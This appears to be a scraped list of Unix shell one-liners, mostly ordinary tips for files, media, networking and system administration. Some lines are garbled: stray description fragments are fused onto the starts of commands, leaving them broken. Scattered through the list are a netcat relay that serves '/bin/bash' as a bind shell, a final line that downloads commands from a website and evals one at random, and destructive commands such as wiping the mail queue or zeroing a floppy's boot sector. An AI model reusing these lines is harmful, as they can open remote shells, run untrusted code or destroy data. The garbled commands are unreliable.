diff <(tail -10 file1) <(tail -10 file2)
ruby -ropen-uri -e 'require "hpricot";(Hpricot(open("http://commandlinefu.com"))/".command").each{|c| puts c.to_plain_text}'
touch -r "$FILE1" "$FILE2"
alias restoremod='chgrp users -R .;chmod u=rwX,g=rX,o=rX -R .;chown $(pwd |cut -d / -f 3) -R .'
tail -f file1 (file2 .. fileN)
unzip -lt foo.zip | grep testing | awk '{print $2}' | xargs rm -r
host A: cat /proc/dev/ttyS0 host B: echo hello > /dev/ttyS0
vim -r 2>&1 | grep '\.sw.' -A 5 | grep 'still running' -B 5
dmidecode -t baseboard
$ cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --driver generic-mmc-raw FILE_NAME.toc
$ python -u script.py
du -scb
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
less -Rf <( cat <(ls -l --color=always) <(ls -ld --color=always .*) )
bytesAPP=wine; if [ $(sudo apt-get --print-uris -y install $APP | sed -ne 's/^After this operation, \([0-9]\{1,\}\).*MB.*/\1/p') -gt 50 ]; then gnometris 2>/dev/null & sudo apt-get install $APP; else sudo apt-get install $APP; fi
diff -wubBEr -x .svn dirA dirB
lsof -Pnl +M -i6:8080
ssh user@host "ps aux | grep httpd | wc -l"
find ~/.mozilla/firefox/*/Cache -exec file {} \; | awk -F ': ' 'tolower($2)~/mpeg/{print $1}'
git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git-dir
while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt
echo ::memstat | mdb -k
perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt
declare -f [ function_name ]
xfreerdp --plugin rdpsnd -g 1280x720 -a 24 -z -x m -u $username -p $password 10.20.30.40
ps axo rss,comm | awk '{sum+=$1; print $1/1024, "MB - ", $2} END {print "\nTotal RAM Used: ", sum/1024, "MB\n"}'
find -type -f -exec cp {} {}.bak \;
ps -ef | awk '/process-name/ && !/awk/ {print}'
sentacpi -t | osd_cat -p bottom
sudo aptitude update; sudo apt-get -y --print-uris upgrade | egrep -o -e "http://[^\']+" | sudo aria2c -c -d /var/cache/apt/archives -i -; sudo aptitude -y safe-upgrade
watch 'netstat -anptu |egrep "^Proto|:80 "'
find <top_level_dir> -depth -type d -empty -exec rmdir -v {} \;
postsuper -d ALL
a command is running... <^z> fg; scheduled_command
ls -d .*
getent hosts google.com | awk '{print $1}'
route -n | perl -ne '$ANY="0.0.0.0"; /^$ANY/ and split /\s+/ and print "Gateway to the World: ",($_[1]!=$ANY)?$_[1]:(`ip address show $_[$#_]`=~/peer ([0-9\.]+)/ and $1),", via $_[$#_].\n"'
export LSCOLORS=gxfxcxdxbxegedabagacad
beepwhenup () { echo 'Enter host you want to ping:'; read PHOST; if [[ "$PHOST" == "" ]]; then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; break; fi; done; }
zsync -i existing-file-on-disk.iso http://example.com/new-release.iso.zsync
lft -NAS google.com
autossh -N -D localhost:1080 myhome.example.net -p 443
find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm"
vncviewer -via [email protected] 192.168.1.1
sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -group root \) -ls
true || false && echo true || echo false
ls -l --time-style=+%Y-%m-%d | awk "/$(date +'%Y-%m-%d')/ {print \$7}"
sort -u < /sys/class/net/*/address
lshw -C disk -html > /tmp/diskinfo.html
du -ms * | sort -nk1
curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' [email protected]
xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock'
grep -Eo \([0-9]\{1,3\}[\.]\)\{3\}[0-9] file | sort | uniq
watch -n <time_interval> "du -s <file_or_directory>"
cat foo.csv bar.csv | sort -t "," -k 2 | uniq
awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' file.html
sed -n '/^.\{255\}/!p'
alias vb='vim ~/.bashrc; source ~/.bashrc'
\ls -1 | xargs -l readlink
cat file.txt | sed -e /<opening tag>/d -e /<closing tag>/G | sed -e '/./{H;$!d;}' -e 'x;/<string to search>/!d;'
curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux%20command%20line" http://twitter.com/statuses/update.json
git --no-pager whatchanged -1 --pretty=medium <commit_hash>
ls -lah | grep ^l
find . \! -type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzip2 --best > a.tar.bz2
awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }' /proc/cpuinfo ; dmidecode | awk -F": " '/Current Speed/ { print "Processor real speed is: " $2 }'
ssh user@<source_host> -- tar cz <path> | ssh user@<destination_host> -- tar vxzC <path>
cut -d'/' -f3 file | sort | uniq -c
ifconfig eth0 | grep 'inet addr' | cut -d ':' -f 2 | cut -d ' ' -f 1
ls -d $(echo ${PATH//:/ }) > /dev/null
:set ic
cdrecord -v speed=4 driveropts=burnfree dev=/dev/scd0 cd.iso
grep -i "$(date +%b" "%d )13:4[0-5]" syslog
free -m | awk '/Mem/ {print $4}'
find . -type f -perm +0111 -print
ifconfig | grep "0xffffffff" | awk '{ print $2 }' | xargs -n 1 ifconfig em0 delete
gs -sDEVICE=pdfwrite -dNOPAUSE -dBATCH -dSAFER -dFirstPage=14 -dLastPage=17 -sOutputFile=OUTPUT.pdf ORIGINAL.pdf
(> errors.log) && tail -f !^
less +G <filename>
top -b -n 1
(not enough disk space)dd if=inputfile of=split3 bs=16m count=32 skip=64
sed -i 's/^M//' file
free -m | awk '/buffer/ {print $4}'
watch -n 1 "/usr/sbin/lsof -p PID |awk '/TCP/{split(\$8,A,\":\"); split(A[2],B,\">\") ; split(B[1],C,\"-\"); print A[1],C[1],B[2], \$9}' | sort | uniq -c"
URL=http://svn.example.org/project; diff -u <(TZ=UTC svn -q log -r1:HEAD $URL | grep \|) <(TZ=UTC svn log -q $URL | grep \| | sort -k3 -t \|)
touch file-$(date +%Y%m%d)
fib(){ case $1 in 0)echo 0;;1)echo 1;;[0-9]*)echo $[$(fib $[$1-2])+$(fib $[$1-1])];;*)exit 1;;esac;}
ghc -e "mapM_ (\_->Data.ByteString.Char8.putStr (Data.ByteString.Char8.replicate (1024*1024) '\\255')) [1..24]"
netstat -ntu | awk ' $5 ~ /^[0-9]/ {print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
find / -name "*.jpg" -print -exec rdjpgcom '{}' ';'
fac(){ case $1 in 0|1)echo 1;;[0-9]*)echo $[$1*$(fac $[$1-1])];;*)exit 1;;esac }
export PROMPT_COMMAND='if (($? > 0)); then echo -ne "\033[1;31m"; fi'; export PS1='[\[\]\u\[\033[0m\] \[\033[1;34m\]\w\[\033[0m\]]\$ '
pkgfile -lb `pkgfile <command>`
numpages() { echo $(($(wc -l $* | sed -n 's/ total$//p')/60)); }
ifconfig eth0 | grep "inet " | cut -d ':' -f2 | awk '{print $1}'
perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;'
for domain in $(pwgen -1A0B 6 10); do echo -ne "$domain.com "; if [ -z "$(whois -H $domain.com | grep -o 'No match for')" ]; then echo -ne "Not "; fi; echo "Available for register"; done
stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})[^[:space:]]*[[:space:]]([^[:space:]]+)/\1 \2 \3/' | rev
git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print "$1\n"' | sort -f | uniq -c -w3 | sort -r
if grep -q "$b" <<<$a; then echo "'$b' was found in '$a'"; fi
who -u | grep -vE "^root " | kill `awk '{print $7}'`
prep () { perl -nle 'print if '"$1"';' $2 }
echo "<?php phpinfo(); ?>" | php > phpinfo.txt
emacs +400 code.py
if [ -z $(echo $var | grep [0-9]) ]; then echo "NON NUMERIC"; fi
if [ "x${a/$b/}" != "x$a" ]; then echo "'$b' is in '$a'"; fi
cat index.html | sed 's|"index.html%3Ffeed=rss2"|"http://dynamic-blog.hemca.com/?feed=rss2.html"|g'
vimdiff file{1,2}
echo linux|rev
sed -n '/test/{/error\|critical\|warning/d;p}' somefile
< /dev/rmt/0cbn
wget -qO- "VURL" | grep -o "googleplayer.swf?videoUrl\\\x3d\(.\+\)\\\x26thumbnailUrl\\\x3dhttp" | grep -o "http.\+" | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e | sed 's/.\{22\}$//g' | xargs wget -O OUPUT_FILE
function decToBin { echo "ibase=10; obase=2; $1" | bc; }
find -name "*[^a-zA-Z0-9._-]*"
dd if=/dev/zero of=test bs=64k count=16k conv=fdatasync
alias counts=sort | uniq -c | sort -nr
file -i <textfile>
lsb_release -a
ack; pcregrep
ssh somemachine "cd some dir; tar zcpf - somedirname" |tar zxpf -
lsli() { ls -l --color "$@" | awk '{ for(i=9;i<NF;i++){ printf("%s ",$i) } printf("%s\n",$NF) }'; }
nl file.txt > file_numbered.txt
curl ifconfig.me/all/json
for i in {0..1200}; do for i in {1..12} ; do echo -n ${hexchars:$(( $RANDOM % 16 )):1} ; done | sed -e 's/\(..\)/:\1/g' | sed 's/.\(.*\)/\1/' ; echo; done
alias beep='echo -en "\007"'
y text)bsro3 () { P=`pwd`; S=$1; R=$2; ls *.odt > /dev/null 2>&1; if [[ $? -ne 0 ]]; then exit 1; fi; for i in *.odt; do mkdir ${P}/T; cd ${P}/T; unzip -qq "$P"/"$i"; sed -i "s/$S/$R/" ${P}/T/content.xml; zip -qq -r "$P"/"$i" *; cd ${P}; rm -rf ${P}/T; done; }
h=0123456789ABCDEF;for c in {1..12};do echo -n ${h:$(($RANDOM%16)):1};if [[ $((c%2)) = 0 && $c != 12 ]];then echo -n :;fi;done;echo
say WORD
find $HOME -name '*.sol' -exec rm {} \;
cat <<.>> somefilename
sed '/./,$!d'
diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in server.key )
tr -d '\r\n' < input_file.txt > output_file.txt
ls -w 1 > list.m3u
find /etc/rc3.d/ | sort -g
(ulimit -v 1000000; scriptname)
rm -r .??*
ls -la /dev/disk/by-id/usb-*
curl http://www.reddit.com/r/wallpapers.rss | grep -Eo 'http:[^&]+jpg' | head -1 | xargs feh --bg-seamless
ffmpeg -f alsa -ac 2 -i hw:0,0 -f x11grab -r 30 -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 -y output.mkv
sed '1!G;h;$!d'
grep -rni string dir
th percentages of total RAMTR=`free|grep Mem:|awk '{print $2}'`;ps axo rss,comm,pid|awk -v tr=$TR '{proc_list[$2]+=$1;} END {for (proc in proc_list) {proc_pct=(proc_list[proc]/tr)*100; printf("%d\t%-16s\t%0.2f%\n",proc_list[proc],proc,proc_pct);}}'|sort -n |tail -n 10
convert -density 300x300 input.pdf output.png
find / -xdev -size +1024 -exec ls -al {} \; | sort -r -k 5
alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep"
echo init 0 | at now + 2 hours
wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"content":\[{"url":"(.+?\.JPG)//){print "$1\n"}}' |wget -w1 -i -
for init scriptsG=$(stty -g);stty rows $((${LINES:-50}/2));top -n1; stty $G;unset G
tac -r -s "." FILENAME
ght order, offset to merge different collections of picturesOFFS=30;LZ=6;FF=$(printf %%0%dd $LZ);for F in *.jpg;do NF="${F%.jpg}";NF="${NF/#+(0)/}";NF=$[NF+OFFS];NF="$(printf $FF $NF)".jpg;if [ "$F" != "$NF" ];then mv -iv "$F" "$NF";fi;done
sudo -i
e2fsck -C -v /dev/device
echo *
while true; do beep -l66 -f`head -c2 /dev/input/mice|hexdump -d|awk 'NR==1{print $2%10000}'`; done
vix(){ vim +'w | set ar | silent exe "!chmod +x %" | redraw!' $@; }
hg diff -c $REV --reverse | hg patch --no-commit -
export [email protected] && mutt -s "chave webmail" [email protected] < /dev/null
alias grep 'gnu grep -i --color=auto'
find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0$'
od -N 4 -t uL -An /dev/random | tr -d " "
ps aux | sort -nk 6
chage -l <user>
sudo netselect -v -s3 $(curl -s http://dns.comcast.net/dns-ip-addresses2.php | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq)
for i in {1..6}; do printf "%0.2X:" $[ $RANDOM % 0x100 ]; done | sed 's/:$/\n/'
rndc flush
last reboot
lsof |awk ' {if ( $0 ~ /home/) print substr($0, index($0,"/home") ) }'|cut -d / -f 1-4|sort|uniq -c|sort -bgr
dig -x 74.125.45.100
for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done
iostat -m -d /dev/sda1
phonelogs() { grep "$1" /var/log/asterisk/cdr-csv/Master.csv | cut -d',' -f 2,3,11,12 --output-delimiter=" " | sed 's/"//g' | cut -d' ' -f 1,2,3,4,6 | column -t; }
grep -v "^\($\|#\)" <filenames>
wn wonder -over
alltray -H thunderbird
find directory/ -mtime 0 -type f
iptables -nL -v --line-numbers
egrep "<link>|<title>" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "</title>" '{print $2, $1}' | sed -e 's/\<link\>/\<li\>\<a href\=\"/' -e 's/\<\/link\>/\">/' -e 's/\<title\>//' -e 's/$/\<\/a\>\<\/li\>/g' -e '1,1d' -e 's/^[ \t]*//'
not the full pathfind /var/www/html/ -type f -mtime +30 -exec basename {} \;
awk '/<link>/{gsub(/.*<link>|<\/link>.*/,"");print "<li><a href=\042"$0"\042> "t"</a>" } /<title>/{gsub(/.*<title>|<\/title>.*/,"");t=$0 }' file
)tar -C /oldirectory -cvpf - . | tar -C /newdirector -xvf -
find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l
tail -f /var/log/squid/access.log | perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e'
ldd <executable binary>
r primaryiptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH
somecommand | open "mailto:?body=$(cat - | stripansi | urlencode)"
perl -MFile::Find=find -MFile::Spec::Functions -Tlwe 'find { wanted => sub { print canonpath $_ if /\.pm\z/ }, no_chdir => 1 }, @INC'
unrar e *.rar
find -iname '*.jpg' -print0 | xargs -0 feh -d
rfectlycd /source/directory; tar cf - . | tar xf - -C /destination/directory
grep <pattern> -R . --exclude-dir='.svn'
o computer/usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent -set
file=ftp://ftp.gimp.org/pub/gimp/v2.6/gimp-2.6.10.tar.bz2; ssh server "wget $file -O -" > $PWD/${file##*/}
sudo mount -t vfat -o umask=000,uid=YOUR_UID,gid=users /dev/sdb1 /media/usb
<space> secret -p password
nohup ping -i1 www.google.com &
mysql -umysqlusername -pmysqlpass databsename -B -e "select * from \`tabalename\`;" | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > mysql_exported_table.csv
shred -n33 -zx file; rm file
<ALT> .
curl -sI http://blog.binfalse.de
install rak")rak "what you're searching for" dir/path
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses
dd if=/dev/zero of=/dev/fd0 bs=512 count=1
seq 1 5 | parallel ssh {}.cluster.net uptime
strace -e write=1,2 -p $PID 2>&1 | sed -un "/^ |/p" | sed -ue "s/^.\{9\}\(.\{50\}\).\+/\1/g" -e 's/ //g' | xxd -r -p
find /directory/to/search/ -type f -print0 | xargs -0 grep "findtext"
ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar 24000 -ab 64 -ac 2 [destination].mp4
shell hack to deal with python indentation.python <<< $'import minjson\nf = open("sessionstore.js", "r")\njdata = minjson.read(f.read())\nf.close()\nfor win in jdata.get("windows"):\n\tfor tab in win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")'
gs -sDEVICE=pngalpha -sOutputFile=<filename>%d.png -r<resolution> <pdffile>
find . -maxdepth 1 -type f | xargs stat
find -type f -print0 | xargs -r0 stat -c %y\ %n | sort
openssl rand -base64 12
perl -ane 'END{printf(" %d %d %d\n", $x, $y, $z)} $x+=1; $y+=@F; $z+=length' file.txt
rm -vf /backup/directory/**/FILENAME_*(m+15)
mencoder input.flv -ovc lavc -oac mp3lame -o output.avi
find . -name "*.php" -type f -exec sed -i "\$d" '{}' \;
grep -rl oldstring . | parallel sed -i -e 's/oldstring/newstring/'
mdfor f in *.txt; do mv $f `basename $f .txt`.md; done;
echo "$1" | xxd -p | tr '0-9' '5-90-6'; echo "$1" | tr '0-9' '5-90-6' | xxd -r -p
pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'
find ~ -maxdepth 2 -name .git -print | while read repo; do cd $(dirname $repo); git pull; done
curl http://github.com/api/v1/yaml/git
ovedfind dir -size -1024k -type f -print0 | du --files0-from - -bc
objdump -b binary -m i386 -D shellcode.bin
curl http://github.com/api/v1/yaml/search/vim
$ i=(*);echo ${i[RANDOM%(${#i[@]}+1)]]}
rm -d **/*(/^F)
pdftk first.pdf second.pdf cat output output.pdf
sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sort -nr
find . -type d -name .svn -exec chmod g+s "{}" \;
xrandr | grep \* | cut -d' ' -f4
find . -iname '*.jpg' | sed 's/.*/<img src="&">/' > gallery.html
sudo pm-suspend
pdfimages -j foo.pdf bar
to greatestfind . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} \; | sort
find . -type l | perl -lne 'print if ! -e'
dpkg -S `which nm` | cut -d':' -f1 | (read PACKAGE; echo "[${PACKAGE}]"; dpkg -s "${PACKAGE}"; dpkg -L "${PACKAGE}") | less
rrent directory.mv * .[0-9a-Z]* ../; cd ..; rm -r $OLDPWD
ssh-keygen -R hostname
box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;}
emerge -av1 `qlist --installed --nocolor | uniq | while read cp; do qlist --exact $cp | while read file; do test -e $file || { echo $cp; echo "$cp: missing $file (and maybe more)" 1>&2; break; }; done; done`
find $(pwd) -maxdepth 1
mkdir phrack66; (cd phrack66; for n in {1..17} ; do echo "http://www.phrack.org/issues.html?issue=66&id=$n&mode=txt" ; done | xargs wget)
HTMLTEXT=$( curl -s http://www.page.de/test.html > /tmp/new.html ; diff /tmp/new.html /tmp/old.html ); if [ "x$HTMLTEXT" != x ] ; then echo $HTMLTEXT | mail -s "Page has changed." [email protected] ; fi ; mv /tmp/new.html /tmp/old.html
ls | sed s#^#$(pwd)/#
ffmpeg -t 300 -r '0.5' -i head-%03d.png -i ../TvQuran.com__144.mp3 -acodec copy muxed.flv
url="[Youtube URL]"; echo $(curl ${url%&*} 2>&1 | grep -iA2 '<title>' | grep '-') | sed 's/^- //'
function 4get () { curl $1 | grep -i "File<a href" | awk -F '<a href="' '{print $4}' | awk -F '" ' '{print $1}' | xargs wget }
echo $RANDOM
function v { if [ -z $1 ]; then vim; else vim *$1*; fi }
growisofs -M /dev/dvd -J -r "directory name with files to add to DVD"
for i in `ps aux | grep ssh | grep -v grep | awk {'print $2'}` ; do kill $i; done
mount -o loop -t iso9660 my.iso /mnt/something
/usr/bin/package-cleanup --oldkernels --count=3
MyVAR=85 awk '{ print ENVIRON["MyVAR"] }'
mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "optimize table " $1 ";"}' | mysql -u uname dbname
"some line input" | sort | uniq -c | sort -nr
cat <( command1 arg arg ) <( command2 arg ) ...
mysql DATABASE -N -s -r -e 'SQL COMMAND'
comm -12 FILE1.sorted FILE2.sorted > common
find /dir | awk '{print length, $0}' | sort -nr | sed 's/^[[:digit:]]* //' | while read dirfile; do outfile="$(echo "$(basename "$dirfile")" | unaccent UTF-8)"; mv "$dirfile" "$(dirname "$dirfile")/$outfile"; done
echo '<html><body><table>' > /tmp/bar.html && find / -name '*.ogg' | sort | awk '{print "<tr><td>"$1"</td><td><audio src=\""$1"\" controls='controls'></audio></td></tr>" }' >> /tmp/bar.html && echo '</table></body></html>' >> /tmp/bar.html
split -b 1k file ; cat x* > file
svn status | grep "^\?" | awk '{print $2}' | xargs svn add
ruby -rdate -e 'p DateTime.now.cweek'
curl -s http://www.macvendorlookup.com/getoui.php?mac=$1 | sed -e 's/<[^>]\+>//g'; echo
autossh -M 0 -p 22 -C4c arcfour,blowfish-cbc -NfD 8080 -2 -L localport1:server1:remoteport1 -L bind_address2:localport2:server2:remoteport2 user@sshserver
echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done
for i in `lanscan -i | awk '{print $1}'` ; do ifconfig $i ; done
for i in $(seq 0 5 100); do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40
readlink /proc/self/cwd
tpb() { wget -U Mozilla -qO - $(echo "http://thepiratebay.org/search/$@/0/7/0" | sed 's/ /\%20/g') | grep -o 'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent' | tac; }
chronic () { t=$1; shift; while true; do $@; sleep $t; done & }
hellVBoxManage list vms
rsync --partial --progress --rsh=ssh user@host:remote-file local-file
ffmpeg -f alsa -itsoffset 00:00:02.000 -ac 2 -i hw:0,0 -f x11grab -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -r 10 -i :0.0 -sameq -f mp4 -s wvga -y intro.mp4
svn status | awk '{print $2}' | xargs du | sort -n | tail
for i in $(seq 0 5 100); do echo $i; sleep 1; done | zenity --progress --title "Installing Foobar" --text "Pleae wait until process has finished."
alias tproxy='ssh -ND 8118 user@server&; export LD_PRELOAD="/usr/lib/libtsocks.so"'
hexdump -e '90/1 "%_p" "\n"' /dev/mem | less
7z x -so testfile.tar.7z | tar tvf -
. ) with bash built-instraceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/-p }; }
svn diff --diff-cmd='meld' -r 100:BASE FILE
:3,9w new_file
mencoder -audiofile input.mp3 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:240,harddup input1.avi input2.avi -o output.avi
tail -f access.log | pv -l -i10 -r >/dev/null
echo 16i `echo "F" | tr '[a-f]' '[A-F]'` p | dc ; echo 16o "15" p | dc
awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print sqrt(mean2 / NR); }'
gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf
tail -n0 -f access.log>/tmp/tmp.log & sleep 10; kill $! ; wc -l /tmp/tmp.log
ript, and making it executable.shebang() { if i=$(which $1); then printf '#!%s\n\n' $i > $2 && vim + $2 && chmod 755 $2; else echo "'which' could not find $1, is it in your \$PATH?"; fi; }
e frames together into one sheet file. Useful for making sprite sheets for games.convert +adjoin animatedImage.gif test.gif ; convert +append test*.gif
find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip
echo "aBcDeFgH123" | tr a-z A-Z
curl -s http://standards.ieee.org/regauth/oui/oui.txt | grep $1
chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo'
! python %
apt-cache show pkgname | grep -i "version:"
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 | sed '2d;s/^0\+ //;s/ /:/g'
vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900
sed -e "s/\[{/\n/g" -e "s/}, {/\n/g" sessionstore.js | grep url | awk -F"," '{ print $1 }'| sed -e "s/url:\"\([^\"]*\)\"/\1/g" -e "/^about:blank/d" > session_urls.txt
ldd /bin/bash | awk 'BEGIN{ORS=","}$1~/^\//{print $1}$3~/^\//{print $3}' | sed 's/,$/\n/'
rpm -qa --last
enshot in firefoxFILE="`date +%m%d%H%M%S`.png"; URL="http://YOUR_HOST/YOUR/PATH/$FILE"; TMP="/tmp/$FILE"; import -frame $TMP; scp $TMP YOUR-USER@YOUR-HOST:/YOUR/PATH/; rm $TMP; firefox "$URL"
find -print0 | xargs -0 -n 1 -P 4 -I {} sh -c "zcat '{}' | mysql nix"
shutdown -rF now
shopt -s extglob; for f in *.ttf *.TTF; do g=$(showttf "$f" 2>/dev/null | grep -A1 "language=0.*FullName" | tail -1 | rev | cut -f1 | rev); g=${g##+( )}; mv -i "$f" "$g".ttf; done
perl -MMIME::Base64 -ne 'print decode_base64($_)' < file.txt > out
du -sk * | sort -rn | head
openssl base64 -d < file.txt > out
sudo tcpdump -i eth0 -s 65535 -A -ttt port 11211
nc -vv $MIDDLEHOST 1234; ## nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;
## nc -l $IamTargetHost 1234 -e /bin/bash;
lynx -dump -listonly 'url' | grep -oe 'http://.*\.ogg' > 11 ; vlc 11 ; mv 11 /dev/null
svn log -q | grep '^r[0-9]' | cut -f2 -d "|" | sort | uniq -c | sort -nr
awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat
md5 myfile | awk '{print $4}' | diff <(echo "c84fa6b830e38ee8a551df61172d53d7") -
setfacl -m u:john:r-- myfile
find . -type f -exec sha1sum {} >> SHA1SUMS \;
ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:\ /g
history | awk '{a[$'$(echo "1 2 $HISTTIMEFORMAT" | wc -w)']++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X
echo "vertical text" | fold -1
awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log
reset
cat filename | grep .
date +%s | sha256sum | base64 | head -c <length>; echo
w3m -no-cookie http://m.espn.go.com/nfl/scoreboard?|sed 's/ Final/ : Final/g'|sed 's/ F\// : F\//g'|sed 's/, / : /g'|grep -i ':'
buf () { cp $1{,$(date +%Y%m%d_%H%M%S)}; }
tar pcf - home | pv -s $(du -sb home | awk '{print $1}') --rate-limit 500k | gzip > /mnt/c/home.tar.gz
watch -n 7 -d 'uptime | sed s/.*users,//'
curl --silent -O "http://www.somewebsite.com/imagedir/image_[00-99].jpg"
find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}'
ygrep -h -o '<[^/!?][^ >]*' * | sort -u | cut -c2-
/usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu
mkdir `date --iso`
for i in *;do avidemux --video-codec Xvid4 --audio-codec mp3 --load "${i}" --save "`echo "$i" | sed -e 's/\....$//'`.done.mp4" --quit; done
mysql -u root -pPasswort -e 'select table_schema,round(sum(data_length+index_length)/1024/1024,4) from information_schema.tables group by table_schema;'
tcpdump -ieth0 -n tcp port 80 -A -s1500
url="$my_url";file=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$file.mp3"
he end of the file name. Show the file and rename them to remove the suffix.find /home -print -exec rename -v 's/_2009-09-04.suffix$//' {} \;
older.C:\WINDOWS\system32\cmd.exe /t:0A /k cd /d
update-java-alternatives
sudo aptitude unmarkauto $(apt-cache depends some-deb-meta-package-name | grep Depends | cut -d: -f2)
rpm -qp --scripts package.rpm
find . -name .DS_Store -exec rm {} \;
ffmpeg -i movie.avi -y -f vcd -vcodec mpeg1video -map 0.0:0.0 -b 1150 -s 352x240 -r 29.97 -g 12 -qmin 3 -qmax 13 -acodec mp2 -ab 224 -ar 44100 -ac 2 -map 0.1:0.1 movie.mpg
irectories into one filefind . -type f -name *.ext -exec cat {} > file.txt \;
sudo arp-scan 192.168.1.0/24 -interface eth0
mytop
readlink -f myfile.txt
OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"
curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI
ent folder (recursive)find . -type f ! -perm /g=r -exec chmod g+r {} +
hem into two.mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=1:chroma_opt:vhq=4:bvhq=1:quant_type=mpeg -vf pp=de,crop=0:0:0:0, -ofps 30000/1001 -o '/dev/null'
IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c"
